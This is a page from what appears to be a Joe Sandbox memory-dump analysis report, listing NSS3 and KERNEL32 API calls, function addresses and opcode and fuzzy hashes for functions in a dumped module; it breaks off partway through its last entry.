Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: dcef85ff9125d8884eb73791f7a7eb314e1c9cb08d6d1867fb56777c2a22ed7e
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: D7417FB2A402118FCB18CF19DCD179AB7E1BF4431871D46A9D84ACBB02E775E8D1CB91

Function 6C98FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C98FDFE), ref: 6C98FFAD

Part of subcall function 6C92CA30: EnterCriticalSection.KERNEL32(?,?,?,6C98F9C9,?,6C98F4DA,6C98F9C9,?,?,6C95369A), ref: 6C92CA7A
Part of subcall function 6C92CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C92CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C98FDFE), ref: 6C98FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C98FDFE), ref: 6C99001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C98FDFE), ref: 6C99006F

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: 2a505d5cd7ba7bf4615c4a423753992d41d6dacd4bd8f323093ce420f7636b13
Instruction ID: f8eee0fc06d85c2c23d3f4916e150d460bd93e3eb27199bea72220a52cdc3308
Opcode Fuzzy Hash: 2a505d5cd7ba7bf4615c4a423753992d41d6dacd4bd8f323093ce420f7636b13
Instruction Fuzzy Hash: 9541A171F00205DBDB08DF64E895AAE7779FF49304F08412DD82697700EB35D955CBA1

Function 6CABA860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6CABA690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6CABA662), ref: 6CABA69E
Part of subcall function 6CABA690: PR_NewCondVar.NSS3(?), ref: 6CABA6B4

PR_IntervalNow.NSS3 ref: 6CABA8C6
EnterCriticalSection.KERNEL32(?), ref: 6CABA8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6CABA944
PR_SetPollableEvent.NSS3(?), ref: 6CABA94F

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: 7f12c7fb619325b360e05f046a33188246e69f12e63074ed3149144f599eb268
Instruction ID: 27212a956c1e14166b3442227520d759164c9eb8045657e8c8797cd5c9fd971e
Opcode Fuzzy Hash: 7f12c7fb619325b360e05f046a33188246e69f12e63074ed3149144f599eb268
Instruction Fuzzy Hash: D34137B4A01A029FC704CF69C580956FBF6FF48318B19852AD859DBF11E731EC94CB90

Function 6CA77DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA77E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA77EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA77EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CA77ED8

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 5c6be92fd7cd3d275534af1b22c370d2a568178b8237d7e8fcbbf6f4642843e3
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 7531A6B5A001118FD715CF09C99099AB7B2FF88314B2A41B9C8599B711EB71EC85CBE1

Function 6CA2DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C9B3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9CAE42), ref: 6C9B30AA
Part of subcall function 6C9B3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9B30C7
Part of subcall function 6C9B3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C9B30E5
Part of subcall function 6C9B3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C9B3116
Part of subcall function 6C9B3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C9B312B
Part of subcall function 6C9B3090: PK11_DestroyObject.NSS3(?,?), ref: 6C9B3154
Part of subcall function 6C9B3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CA2DBBD), ref: 6CA2DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA2DFEE

Part of subcall function 6C9C86D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9C8716
Part of subcall function 6C9C86D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9C8727
Part of subcall function 6C9C86D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9C873B
Part of subcall function 6C9C86D0: PR_Unlock.NSS3(?), ref: 6C9C876F
Part of subcall function 6C9C86D0: PR_SetError.NSS3(00000000,00000000), ref: 6C9C8787

Part of subcall function 6C9EF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C9EF854
Part of subcall function 6C9EF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C9EF868
Part of subcall function 6C9EF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C9EF882
Part of subcall function 6C9EF820: free.MOZGLUE(04C483FF,?,?), ref: 6C9EF889
Part of subcall function 6C9EF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C9EF8A4
Part of subcall function 6C9EF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C9EF8AB
Part of subcall function 6C9EF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C9EF8C9
Part of subcall function 6C9EF820: free.MOZGLUE(280F10EC,?,?), ref: 6C9EF8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6CA2DBBD), ref: 6CA2DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6CA2DBBD), ref: 6CA2E007

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 6aa53d686d8ea2d81ead838d9eabda5b8b828d47776ce60c724756518146a612
Instruction ID: 5fb6d039bc42259e6c2614e13f2912e742da72b697749de2ae1d49a5971ae023
Opcode Fuzzy Hash: 6aa53d686d8ea2d81ead838d9eabda5b8b828d47776ce60c724756518146a612
Instruction Fuzzy Hash: F03127B1E0430157E7109A79AD84A9B72B8AF6530CF0C0135E90AD7B53FF39D988C2E6

Function 6C9A6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C9A6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9A6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C9A6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CAC8FE0), ref: 6C9A6CFE

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: daf420dbf15df955e16a140e94ab141b616dd605cd4ff45a3663464ee4da541e
Instruction ID: 4ac1f7120ade4b28c962b20f69e528a606d735cdf7592216f7e53fbccb6e0948
Opcode Fuzzy Hash: daf420dbf15df955e16a140e94ab141b616dd605cd4ff45a3663464ee4da541e
Instruction Fuzzy Hash: 393181B5A012169FDB04CFA9CC91ABFBBF9EF95248B10442DD905E7740EB31D906CBA0

Function 6CA2D830 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000040,?,?,00000000,?,6CA3ACA2,?), ref: 6CA2D838

Part of subcall function 6CA00D30: calloc.MOZGLUE ref: 6CA00D50
Part of subcall function 6CA00D30: TlsGetValue.KERNEL32 ref: 6CA00D6D

SECITEM_DupArray.NSS3(00000000,?,?), ref: 6CA2D8D5
SECITEM_CopyItem_Util.NSS3(00000000,00000024,?,?), ref: 6CA2D8F7
SECITEM_CopyItem_Util.NSS3(00000000,-00000030,?,?,?,?,?), ref: 6CA2D90F

Part of subcall function 6C9C06A0: TlsGetValue.KERNEL32 ref: 6C9C06C2
Part of subcall function 6C9C06A0: EnterCriticalSection.KERNEL32(?), ref: 6C9C06D6
Part of subcall function 6C9C06A0: PR_Unlock.NSS3 ref: 6C9C06EB

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$CopyItem_Value$Alloc_ArrayCriticalEnterSectionUnlockcalloc
String ID:
API String ID: 3461301972-0
Opcode ID: 024def680c6836079a9857568564eadeeca3294f0d1f642e00e908b22e3dfd6c
Instruction ID: 84f164428bc0ebccd7941d332d480a53ac06b8efd5ee89c1aaec567ed7c63e55
Opcode Fuzzy Hash: 024def680c6836079a9857568564eadeeca3294f0d1f642e00e908b22e3dfd6c
Instruction Fuzzy Hash: A1310CB0A00B119FE360CF6AD944B52B7F4FF18649F08462AD84AC2E42F734E554CB91

Function 6CAB4F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CAB4F5D
free.MOZGLUE(?), ref: 6CAB4F74
free.MOZGLUE(?), ref: 6CAB4F82
GetLastError.KERNEL32 ref: 6CAB4F90

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: a71bb98d30a10f06e3118e3b174231b7daec714475b734ccd53a12af4c5f61cf
Instruction ID: 2ae81b8197efd8ca2c42af174db09cac475fe21fb98f039e1d81af3a05fdb9c6
Opcode Fuzzy Hash: a71bb98d30a10f06e3118e3b174231b7daec714475b734ccd53a12af4c5f61cf
Instruction Fuzzy Hash: C7313775A0030A4BEB01DE79EC81BDEB7BCEF45788F084229E825B7681D734E9058691

Function 6C989980 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89F,00000000,?,?,?,?,?,6C98996F,?,00000001,00000000), ref: 6C989A3A
PR_CallOnce.NSS3(6CB014E4,6CA6CC70,?,?,?,?,?,6C98996F,?,00000001,00000000), ref: 6C989A50
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C989A81
_pr_push_ipv6toipv4_layer.NSS3(00000000), ref: 6C989A97

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Error$CallOnce_pr_push_ipv6toipv4_layer
String ID:
API String ID: 329733494-0
Opcode ID: d8d875cdc0335af4cc616c0d7c4f374a28d9c5f8b40a98c5f13ea60be3c07b2c
Instruction ID: bb52e9eaba8ce0fa5a3eae092273cab30c557aecb78be88ab4843b2bbab8ec03
Opcode Fuzzy Hash: d8d875cdc0335af4cc616c0d7c4f374a28d9c5f8b40a98c5f13ea60be3c07b2c
Instruction Fuzzy Hash: 813106B0B01201AFDB10AA2CDC85B6D77E8AB9631CF154938E82AD7F91E739DC44C791

Function 6CA16DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CA16E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA16E57

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CA16E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CA16EAA

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 91b4b349ba24279214794acc430cfbddcd16fa33e0850a36464d5ea82040d4be
Instruction ID: 7f605568ef57dd4a9fdfc0d27357dadbb36bfb5528fa1d6ca304312eb4ef91a5
Opcode Fuzzy Hash: 91b4b349ba24279214794acc430cfbddcd16fa33e0850a36464d5ea82040d4be
Instruction Fuzzy Hash: 8931AE72618622AEDB141F34D904396BBB5EB0531AF18073CD89AD6F90EB31A5D8CB81

Function 6C9FDDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C9FDDB1,?,00000000), ref: 6C9FDDF4

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C9FDDB1,?,00000000), ref: 6C9FDE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C9FDDB1,?,00000000), ref: 6C9FDE17

Part of subcall function 6CA00BE0: malloc.MOZGLUE(6C9F8D2D,?,00000000,?), ref: 6CA00BF8
Part of subcall function 6CA00BE0: TlsGetValue.KERNEL32(6C9F8D2D,?,00000000,?), ref: 6CA00C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C9FDE80

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 7b64c74d7a6410b2b59060e8a1a7587643dd1a72874c861674e3b11b458ecc35
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 6931B8B2A017429BE700CF16D880696F7E4FFA535CB248229D92D87B01E7B1F5E5CB91

Function 6C9EFE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C9C5ADC,?,00000000,00000001,?,?,00000000,?,6C9BBA55,?,?), ref: 6C9EFE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C9EFE5F
PR_Unlock.NSS3(78831D74), ref: 6C9EFEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C9EFED6

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: edd075535120cde1c269f9fe6ea10c671ecf5a6b3e12adabf5bd60bb36fd8bf8
Instruction ID: f5214f762d0deebbb6ebaac596e64bd7ec61d2206395b49e13cf203e04198d96
Opcode Fuzzy Hash: edd075535120cde1c269f9fe6ea10c671ecf5a6b3e12adabf5bd60bb36fd8bf8
Instruction Fuzzy Hash: 70210431A006169BD7129E25EC447AA7778BF2935CF08412ADD0867E41E731F968CBD1

Function 6C9F3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C9F3440: PK11_GetAllTokens.NSS3 ref: 6C9F3481
Part of subcall function 6C9F3440: PR_SetError.NSS3(00000000,00000000), ref: 6C9F34A3
Part of subcall function 6C9F3440: TlsGetValue.KERNEL32 ref: 6C9F352E
Part of subcall function 6C9F3440: EnterCriticalSection.KERNEL32(?), ref: 6C9F3542
Part of subcall function 6C9F3440: PR_Unlock.NSS3(?), ref: 6C9F355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C9DE80C,00000000,00000000,?,?,?,?,6C9E8C5B,-00000001), ref: 6C9F3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C9DE80C,00000000,00000000,?,?,?,?,6C9E8C5B,-00000001), ref: 6C9F3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C9DE80C,00000000,00000000,?,?,?,?,6C9E8C5B,-00000001), ref: 6C9F3FFE
PR_SetError.NSS3 ref: 6C9F401A

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 4d769ffe8a00269c4b003e4630d9e54f6f352ef51a1d0148ea2bb8d45df15e65
Instruction ID: a2728d6962802a7701383cdacb0658f90701279cdfabd6dd1a84f455ef56b394
Opcode Fuzzy Hash: 4d769ffe8a00269c4b003e4630d9e54f6f352ef51a1d0148ea2bb8d45df15e65
Instruction Fuzzy Hash: 3F31A174604704CFD700AF79D58426ABBF4FF98318F05892DD89987B00EB30E986CB92

Function 6CA12880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6CA12896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6CA12932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA1294C
free.MOZGLUE(?), ref: 6CA12955

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
